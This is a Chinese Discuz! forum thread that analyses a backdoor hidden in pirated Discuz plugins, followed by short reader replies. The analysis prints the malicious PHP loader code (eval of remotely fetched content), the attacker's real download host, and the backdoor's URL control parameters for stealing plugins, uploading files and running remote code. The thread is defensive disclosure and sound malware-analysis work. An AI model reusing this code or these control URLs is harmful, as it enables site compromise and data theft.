Discuz! 官方交流社區(qū)
標(biāo)題: 您認(rèn)為你的網(wǎng)站還很安全嗎?風(fēng)靡全網(wǎng)的Discuz盜版插件后門木馬你了解過嗎? [打印本頁]
作者: lovetvb 時間: 2023-3-29 14:04
標(biāo)題: 您認(rèn)為你的網(wǎng)站還很安全嗎?風(fēng)靡全網(wǎng)的Discuz盜版插件后門木馬你了解過嗎?
在曝光這個后門木馬之前,我們考慮了很久要不要曝光,這個后門我們?nèi)ツ昃鸵呀?jīng)發(fā)現(xiàn)了,而且第一時間公布到群里面!在群里的用戶可能很早都知道這個后門!
但是始終沒有曝光在網(wǎng)站內(nèi)!原因是從這個后門的復(fù)雜程度來看,此人不簡單!我們不想惹!并不是我們怕!明著來我們不怕什么!
明槍易躲,暗箭難防!唯女子與小人為難養(yǎng)也!
正文開始:
這個后門樣本是最早發(fā)現(xiàn)在飛*房產(chǎn)(后門和插件作者無關(guān),正版的無此后門) 后來我們又在用戶給我們提供的插件里面根據(jù)關(guān)鍵詞 發(fā)現(xiàn)很多都帶這個后門,
那么下面我們開始分析:本次樣本為 克*APP 3.51(后門和插件作者無關(guān),正版的無此后門),因為距離第一次發(fā)現(xiàn)太久,那個樣本沒有了!
首先我們是在一個模板文件發(fā)現(xiàn)了異常(如圖)
- eval(dfsockopen($commen))
復(fù)制代碼
很明顯的一句話后門。但是整個文件就這一行代碼!沒有一句話應(yīng)有的參數(shù)!而 $commen 這個變量也并未在這個文件賦值, 全文件找了下發(fā)下在下面這個文件有 $commen 變量的賦值
function_comiis_load.php
但是這個值經(jīng)過了一系列“混淆”,我們一步步來撥開這個煙霧彈
這里有個遠(yuǎn)程請求!那么我們把這個 $url 變量調(diào)試出來,先把代碼搬過來
調(diào)試得到 $url 的值為:
- ://94203.vip/20190305.png
復(fù)制代碼
這里已經(jīng)是個正常的鏈接了,我們獲取這個文件的內(nèi)容試試(也可以通過瀏覽器的下載功能直接下載這個圖片,然后通過記事本打開)
- moqu8ctrlabcctrl://ctrl.ctrl/ctrl[A-Z_].*[A-Z_]ctrlecho "990";ctrl./config.phpctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xmlctrl`.*?`ctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xmlctrl./baiduin.phpctrltemplate/index.htmlctrlpic.png
復(fù)制代碼
繼續(xù)對這串不知道什么玩意的內(nèi)容進行整理(直接搬后門的代碼過來取值就是)
得到內(nèi)容
- http://94203.vip/baiduseofn.xmlCopy
復(fù)制代碼
繼續(xù)往下調(diào)試,發(fā)現(xiàn)緊跟的這幾段是讓代碼看起來像一個正常代碼,其實并無實際用途!都是一些賦值然后其實并不會調(diào)用,也許后面會用到先放這里不做分析
- list(,,, $tagid, $type,$page ) = func_get_args();
- $rewriterules=$_G['cache']['plugin']['comiis_app'];
- $identifier=substr($_GET['id'],0,strpos($_GET['id'], ':'))?substr($_GET['id'],0,strpos($_GET['id'], ':'));$_GET['id'];
- $plugin['identifier']=$plugin['identifier']?$plugin['identifier'];$identifier;
復(fù)制代碼
緊隨其后的是,翻譯出來看看是判斷什么 然后調(diào)用了什么文件!
因為 $tag 前面已經(jīng)取了這個的值,我們直接調(diào)用,打印出內(nèi)容看看
得到一個數(shù)組
- Array
- (
- [0] => moqu8
- [1] => abc
- [2] => ://
- [3] => .
- [4] => /
- [5] => [A-Z_].*[A-Z_]
- [6] => echo "990";
- [7] => ./config.php
- [8] => 6692
- [9] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xml
- [10] => `.*?`
- [11] => 6692
- [12] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xml
- [13] => ./baiduin.php
- [14] => template/index.html
- [15] => pic.png
- )
復(fù)制代碼
這樣就很容易翻譯那段代碼的意思得到結(jié)果為:
- if(@filesize('./config.php') != '6692'){ @include_once DISCUZ_ROOT.'./source/plugin/comiis_app/'.'template/index.html';}
復(fù)制代碼
這句話翻譯成大白話的意思就是 如果 ./config.php 文件的大小 不等于 6692 字節(jié) 則引用 template/index.html 這個文件 注意到了嗎? template/index.html 這個文件正式我們一開始發(fā)現(xiàn)端倪的文件
現(xiàn)在插件是第一次運行,./config.php文件是不存在的 所以大小肯定是不等于 6692 的,所以我們繼續(xù)調(diào)試!來到 template/index.html 這個文件
- eval(dfsockopen($commen))
復(fù)制代碼
這句代碼意思是 先讀取遠(yuǎn)程鏈接返回的內(nèi)容,然后執(zhí)行! $commen 這個變量的值我們前面已經(jīng)知道了 就是下面的內(nèi)容 (我們可以通過瀏覽器訪問這個鏈接,然后右鍵查看源碼,得到這個文件所返回的內(nèi)容)
- http://94203.vip/baiduseofn.xml
復(fù)制代碼
返回內(nèi)容如下:
也就是說 即將執(zhí)行的代碼就是這段代碼,復(fù)制下來 調(diào)試一波,順便美化一下,方便閱讀
- function content($svip)
- {
- ini_set('max_execution_time', '0');
- if (function_exists('file_get_contents')) {
- $data = file_get_contents($svip);
- } else {
- $ch = curl_init();
- $timeout = 5;
- curl_setopt($ch, CURLOPT_URL, $svip);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
- $data = curl_exec($ch);
- curl_close($ch);
- }
- return $data;
- }
- $svip = preg_replace(array("/" . $tag[10] . "/", "/" . $tag[1] . "/i", "/" . $tag[5] . "/"), array($tag[3], $tag[2], $tag[4]), $tag[12]);
- if (content($svip)) {
- file_put_contents($tag[13], content($svip));
- require_once $tag[13];
- }
復(fù)制代碼
因為代碼中依然用到了 $tag 變量,所以我們繼續(xù)放之前的調(diào)試文件調(diào)試,我們先來 取 $svip 這個變量對應(yīng)的值,得到一個鏈接
- http://94203.vip/baiduseoff.xml
復(fù)制代碼
之前我們已經(jīng)打印了 $tag 的內(nèi)容 可以得到 $tag[13] 的內(nèi)容就是 ./baiduin.php
繼續(xù)放下調(diào)試 翻譯出來的大白話意思就是 如果遠(yuǎn)程訪問 上面的 的鏈接 返回的內(nèi)容不是空的 則寫入 返回的內(nèi)容到文件 ../baiduin.php 并且馬上引用這個文件
既然又要引用新文件,那么我們就得看看這個文件的內(nèi)容了 (我們可以通過瀏覽器訪問這個鏈接,然后右鍵查看源碼,得到這個文件所返回的內(nèi)容) 其實這里和前面一個步驟很像,
你也可以理解成是一層殼!得到一個比較大的文件了(如圖),有種預(yù)感,馬上要正式進入后門的領(lǐng)域了,前面一系列操作其實都是煙霧彈
內(nèi)容太長就不粘貼出來了 感興趣的可以下載下面的附件(代碼為了方便閱讀,美化過,其實你也可以訪問下面的鏈接得到這個文件樣本)
其實這個文件是進行了簡單加密的。我們給他解密!因為是比較簡單的加密,而且我們這次的重點不是講解加密與解密。下面直接上圖解密,就不講解了
得到解密后的文件
調(diào)試木馬
我們調(diào)試這個文件,因為我不是 在dz環(huán)境調(diào)試的,但是這個文件用到了dz自帶的幾個函數(shù) 我們copy過來在調(diào)試
調(diào)試前先把已知的數(shù)據(jù)講解下
如果文件./web.php 存在 就刪除這個文件,前面的代碼都是構(gòu)造變量,在這句之前用不到
這里的 $identifier 是插件的 標(biāo)識,代碼因為是在插件里面運行的,所以這個變量是dz賦值的$plugin['identifier'],比如我們現(xiàn)在的樣本是 comiis_app 那么這個值就是 'comiis_app' 繼續(xù)調(diào)試
這里開始引用了上面的幾個變量,我們把變量輸出看看分別是什么
得到這2個變量分別是
- ./config.php
- http://94203.vip/index.txt
復(fù)制代碼
其實從這里開始感覺分析這個后門已經(jīng)花了很長時間了,有點累,寫的都比較隨意了!可能大家都開始看不懂了,還是保持開始的狀態(tài)繼續(xù)寫!分析起來其實很快,主要是要寫,就慢了。 得到這2個變量的值,我們翻譯下上面那段邏輯代碼
- 如果 (文件./config.php不存在 且 遠(yuǎn)程請求http://94203.vip/index.txt的內(nèi)容不是空) {
- 遠(yuǎn)程訪問("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";
- 寫入文件(./config.php, 遠(yuǎn)程訪問http://94203.vip/index.txt返回的內(nèi)容);
- } 或者如果 (文件./config.php字節(jié)大小 不等于 6692 且 遠(yuǎn)程請求http://94203.vip/index.txt的內(nèi)容不是空) {
- 寫入文件(./config.php, 遠(yuǎn)程訪問http://94203.vip/index.txt返回的內(nèi)容);
- } 或者如果(文件"插件目錄/log.txt"不存在 且 插件不是csdn123_news和csdn123com_toutiao) {
- 遠(yuǎn)程訪問("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";
- 寫入文件(插件目錄/log.txt, 空的內(nèi)容);
- }
復(fù)制代碼
不知道這樣的代碼結(jié)構(gòu) 對于不懂PHP的 能不能看懂,懂PHP的直接看源代碼就可以。繼續(xù)調(diào)試下面的代碼
首先輸出這個變量 $deindex
得到 這個變量的值為 ./index.bak.php,我們繼續(xù)用上面的方式翻譯上面的這段邏輯代碼
- 如果 (文件./index.bak.php存在) {
- 刪除文件./index.bak.php;
- }
- 如果 (文件/source/function/function_ajax.php大小 不等于 14798) {
- 如果(遠(yuǎn)程訪問鏈接http://q.94203.vip/function_cloudaddons.xml返回的不是空內(nèi)容 ){
- 寫到文件/source/function/function_ajax.php 內(nèi)容是 遠(yuǎn)程訪問鏈接http://q.94203.vip/function_cloudaddons.xml返回的內(nèi)容
- }
- }
- 刪除文件./baiduin.php
復(fù)制代碼
到這里已經(jīng)開始了 系統(tǒng)文件替換了,其實到這里基本上就結(jié)束了,看著是不是好像沒有什么大問題?只是替換了一個系統(tǒng)文件和寫了一個./config.php文件?
先別急著關(guān)閉頁面,因為下面才是重頭戲!我們繼續(xù)分析寫入的這2個文件 從 ./config.php 開始,這個文件寫入的是 http://94203.vip/index.txt 返回的內(nèi)容 我們用瀏覽器打開 得到文件代碼如圖
去掉 用于混淆 讓人覺得是正常文件的內(nèi)容 得到代碼
為什么那一段是沒用的?因為如果正常訪問 其實這就是dz自帶的 index.php文件復(fù)制過來的 后門控制者訪問時如果在鏈接后面加了 ?s=1 就會執(zhí)行圖片上的代碼
翻譯出來的意思就是
- 執(zhí)行代碼( 遠(yuǎn)程請求 {域名}/baiduindex.xml 返回的內(nèi)容 )
復(fù)制代碼
這里的域名 是通過GET參數(shù)獲取,也就是說 如果控制住域名忘記續(xù)費 根本沒有關(guān)系 比如 作者 通過這樣的形式訪問 你的域名/config.php?s=1&domain=94203.vip 就可以 那么/baiduindex.xml的內(nèi)容是什么,因為是控制者在控制你網(wǎng)站時輸入的,所以從代碼上得不到這個文件!但是我們可以靠猜來試試,果然一猜就中,他用于木馬的域名就文中提到的1個。試了一下 就出來了
得到內(nèi)容(加密了,那就解密看看這個是個什么文件吧)
經(jīng)過N層解密,得到文件
這里已經(jīng)有獲取你網(wǎng)站安裝的插件操作的代碼的了!這個后門文件還有很多參數(shù)!等下我們繼續(xù)分析! 解密后的樣本和原版 在下面的附件 有興趣的可以研究下
下面繼續(xù)分析,這個木馬文件的所有參數(shù)(其實也累了,就不調(diào)試了,直接丟dz環(huán)境跑起來,然后把代碼有的參數(shù)一個個輸進去試) 忽然發(fā)現(xiàn) 404,原來作者還加了 指定瀏覽器功能,也就是說只有這個UA的瀏覽器才能訪問,我們刪除這段
木馬參數(shù)
參數(shù)1、 你的域名/config.php?s=1&domain=94203.vip&b=header&z=壓縮包名字 打包你網(wǎng)站 ./source/plugin 目錄 即打包插件目錄,然后下載,代碼見下面
參數(shù)2、 你的域名/config.php?s=2&domain=94203.vip 開頭涉及到一個插件 aljjyno 不知道干嘛用的,但是只知道有寫入文件的功能!也是遠(yuǎn)程請求,但是這次我們通過前面方法猜域名,沒有猜出來!
緊隨的是 替換/config/config_global.php 網(wǎng)站配置文件(給你開啟開發(fā)者模式,這樣你安裝插件就不會自動刪除安裝包!不然作者每次打包走的都是沒有xml的插件估計也很難受) 接著就是鞏固一下后門
上面的代碼前面講過 就是判斷 ./config.php的大小是不是 6692 如果不是就重新生成,防止木馬被你清理或修改 然后 又鞏固了一下 /source/function/function_ajax.php 的地位 這個文件前面提到了,但是還沒有分析!等分析玩這個文件,我們繼續(xù)分析這個 在往下 就是 獲取你安裝了的插件,然后列出列表吧?如果弄了打包的參數(shù) 就開始打包下載
參數(shù)3、 你的域名/config.php?s=3&domain=94203.vip后面還要參數(shù) 不是很重要 這個就是 下載壓縮包用的,沒什么可以講解
參數(shù)4、 你的域名/config.php?s=4&domain=94203.vip 上傳文件到你網(wǎng)站任意位置的好像。
參數(shù)5、 你的域名/config.php?s=5&domain=94203.vip&do=1 作用:寫入文件
如果帶do參數(shù) 則寫入94203.vip/data.xml 的內(nèi)容 瀏覽器訪問這個鏈接 得到的內(nèi)容 是一個典型的PHP木馬。打包網(wǎng)站用的,導(dǎo)出數(shù)據(jù)庫啥的 如果沒有帶do參數(shù) 則寫入94203.vip/datatwo.xml 的內(nèi)容 瀏覽器訪問這個鏈接 得到的內(nèi)容 是一個文件在線管理功能。 2個樣本在下面壓縮包,感興趣的可以下載看看
參數(shù)6、 你的域名/config.php?s=6&domain=94203.vip 作用:執(zhí)行遠(yuǎn)程文件 94203.vip/ondata.xml
其實和 參數(shù)5的帶do參數(shù)功能一樣,可能是防止你服務(wù)器不能寫入文件時 直接用php執(zhí)行用的。應(yīng)該算是備用功能,感興趣的可以下載下面的附件研究
參數(shù)7、 你的域名/config.php?s=7&domain=94203.vip 作用:下載你網(wǎng)站非壓縮包文件(如直接下載PHP文件)
參數(shù)8、 你的域名/config.php?s=8&domain=94203.vip 作用:執(zhí)行遠(yuǎn)程代碼 94203.vip/tiquxml.xml
遠(yuǎn)程鏈接返回內(nèi)容如下
- @set_time_limit(0);
- @include_once './config/config_global.php';
復(fù)制代碼
從注釋看好像是提取XML的 到這里 這個文件的功能基本上分析完畢。你以為就這樣?
結(jié)尾
以上涉及到的代碼全部是遠(yuǎn)程執(zhí)行,
代碼后門作者可以隨時更改/更新/升級、等于是給你網(wǎng)站的后門免費提供了免費更新的功能 如果他給你來個全盤格式化的遠(yuǎn)程代碼,你懵逼嗎?
如果他給你來個清空數(shù)據(jù)庫的代碼 你懵逼嗎?
分析到這里,我們回到前面提到的 /source/function/function_ajax.php文件 打開遠(yuǎn)程獲取到的代碼 分析一波,已經(jīng)不記得前面有沒有把這個文件的代碼貼出來了!
如果沒有,感興趣的同學(xué)就自己獲取一下! 因為這個文件是基于dz的系統(tǒng)文件修改的(注入),我們對比文件刪除dz原版代碼 得到如下代碼
也就是說上面的代碼是后門作者加進去的 其實這個文件也沒啥好分析的,
大概就是:這個文件因為dz需要經(jīng)常調(diào)用,調(diào)用頻率非常的高 只要這個文件一被調(diào)用 就自動從遠(yuǎn)程獲取內(nèi)容94203.vip/index.xml 生成到文件/config.php 這個文件的代碼前面分析過。
大概想實現(xiàn)的目的就是防刪!如果你刪了,又會出來。就是你怎么刪也刪不掉/config.php這個文件,我給他定義為 “不死鳥” 基本上整個后門到這里就算分析完畢了!
其實目前來講這套木馬想查殺的話 有一套關(guān)鍵詞可以進行匹配!
但是我們這次目的是分析木馬!查殺的任務(wù),還是得靠站長自己。
我們只能說這種木馬在全網(wǎng)傳播的很普遍!
從各個資源站到某寶等 都有這個木馬的影子!
作者: lovetvb 時間: 2023-3-29 14:05
提示: 該帖被管理員或版主屏蔽
作者: Discuz有償服務(wù) 時間: 2023-3-29 14:25
某趣吧盜版插件含后門,這是眾所周知的,你回帖貼的鏈接的網(wǎng)站也不是好鳥,一樣的,會盜取你網(wǎng)站的應(yīng)用
作者: tuhemm 時間: 2023-3-29 23:31
提示: 作者被禁止或刪除 內(nèi)容自動屏蔽
作者: pcyi 時間: 2023-3-31 08:22
雖然不懂但我大為震撼
作者: TaC 時間: 2023-3-31 10:30
雖沒看懂,感覺好歷害?,F(xiàn)在已沒有幾個人能有這種耐心寫這么東西了
作者: gulaibai 時間: 2023-4-1 12:16
我曾經(jīng)遇到過,他還加我Q,要錢錢,我拉黑后,直接就把我的數(shù)據(jù)盤格了
作者: false001 時間: 2023-4-1 17:11
樓主功力深厚,佩服佩服
作者: false001 時間: 2023-4-1 17:12
把那個人的QQ暴出來,讓大家都防著他點。
作者: xiaohuahua123 時間: 2023-4-1 17:41
雖沒看懂,感覺好震撼,那有沒有大佬寫個插件出來讓大伙查殺下,或許有些站長的站存在這個木馬后門也說不定。
作者: lei119 時間: 2024-7-2 11:31
這個還是要支持一下
作者: Horse 時間: 2024-7-2 12:27
測試測試
作者: yf3052 時間: 2024-7-2 13:46
從官方應(yīng)用中心安裝的插件有這個風(fēng)險沒?
作者: myboss 時間: 2024-7-9 09:59
哈哈,這么長篇大論的帖子難得。
學(xué)習(xí)了!
一句話,隱藏的真深,要是不用關(guān)鍵字eva估計更難發(fā)現(xiàn)它。
干站長,一定要會清除后門,其實也簡單去掉關(guān)鍵語句。
作者: myboss 時間: 2024-7-9 10:00
yf3052 發(fā)表于 2024-7-2 13:46
從官方應(yīng)用中心安裝的插件有這個風(fēng)險沒?
開發(fā)者有交保證金嘛?
作者: 你若安好那還得了 時間: 2024-7-28 23:35
看看是什么東西
歡迎光臨 Discuz! 官方交流社區(qū) (http://r615.cn/) |
Powered by Discuz! X5.0 |